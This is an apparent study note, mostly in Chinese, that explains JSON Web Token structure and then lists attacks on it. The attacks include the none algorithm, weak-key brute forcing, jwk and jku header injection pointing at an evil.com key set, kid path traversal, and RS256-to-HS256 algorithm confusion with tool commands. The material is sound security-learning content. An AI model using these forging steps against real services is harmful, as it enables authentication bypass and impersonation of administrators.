What is JWT?
jwt = header.payload.signature,其中header和payload经过base64编码得到,signature由header和payload经过加密运算得到,加密算法由header中的alg
字段指定。如下就是一个例子:
eyJhbGciOiJIUzI1NiJ9.ewogICAgImV4cCI6IDE3MTA5MTc3NjIsCiAgICAic3ViIjogImFkbWluaXN0cmF0b3IiCn0.nFLoSzDQIE5jriqprqUSFw1lqzoKnk1kEUJ33BU-MC8
header部分
{
"alg": "HS256"
}
payload部分
{
"exp": 1710917762,
"sub": "administrator"
}
Header中的一些字段
typ:Type,常取值为"JWT"表示JSON Web Token。
cty:Content Type,JWT所包含的数据的MIME类型(媒体类型),比如,application/json。
jwk:用于描述密钥信息
jku:密钥地址
kid:密钥的唯一标识符
x5t:X.509 Certificate Thumbprint,表示使用X.509证书进行签名时的证书指纹。
x5c:X.509 Certificate Chain,表示使用X.509证书进行签名时的证书链。
Payload中的一些字段
iss:issuer
exp:expiration time
sub:subject
prv:private
iat:issued at,签发时间。
nbf:not before,生效时间。
jti:JWT ID,JWT的唯一标识符。
JWT的作用是防止数据被篡改,根据JWS规范,其中只有alg
标头参数是强制的。
JWT vuls
accepting-arbitrary-signatures
其实就是服务端没校验signature。
accepting tokens with no signature
“alg”: “none” + 混淆技术
weak signing key
可尝试爆破
JWT header parameter injections
jwk
Provides an embedded JSON object representing the key. e.g.
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
jku
Provides a URL from which servers can fetch a set of keys containing the correct key. e.g.
{
"kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
"alg": "RS256",
"jku": "https://www.evil.com/jwt"
}
https://www.evil.com/jwt
为如下内容:
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
"n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
}
]
}
kid
Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. Developer might use the kid parameter to point to a particular entry in a database(sql injection risk), or even the name of a file(directory traversal risk). e.g.
{
"kid": "../../../../../dev/null",
"typ": "JWT",
"alg": "HS256",
"k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}
然后我们自己再生成一个空的对称密钥,
用它去加密header和payload得到一个新的signature就可以了。
algorithm confusion attacks
(1) Obtain the server’s public key
/jwks.json
or /.well-known/jwks.json
(2) Convert the public key to a suitable format
JWK
or PEM
(3) Modify your JWT
change alg
from RS256
to HS256
(4) Sign the JWT using the public key
sign jwt with symmetric key
Deriving public keys from existing tokens
(1) Obtain two JWTs generated by the server
(2) Brute-force the server’s public key
docker run --rm -it portswigger/sig2n jwt1 jwt2
or
python3 jwt_forgery.py jwt1 jwt2
Replace the session cookie with this new JWT and then send the request. Then we can get the right one.
(3) Generate a symmetric key
Choose the right one’s key to generate a symmetric key. Then change alg
from RS256
to HS256
,and sign header and payload.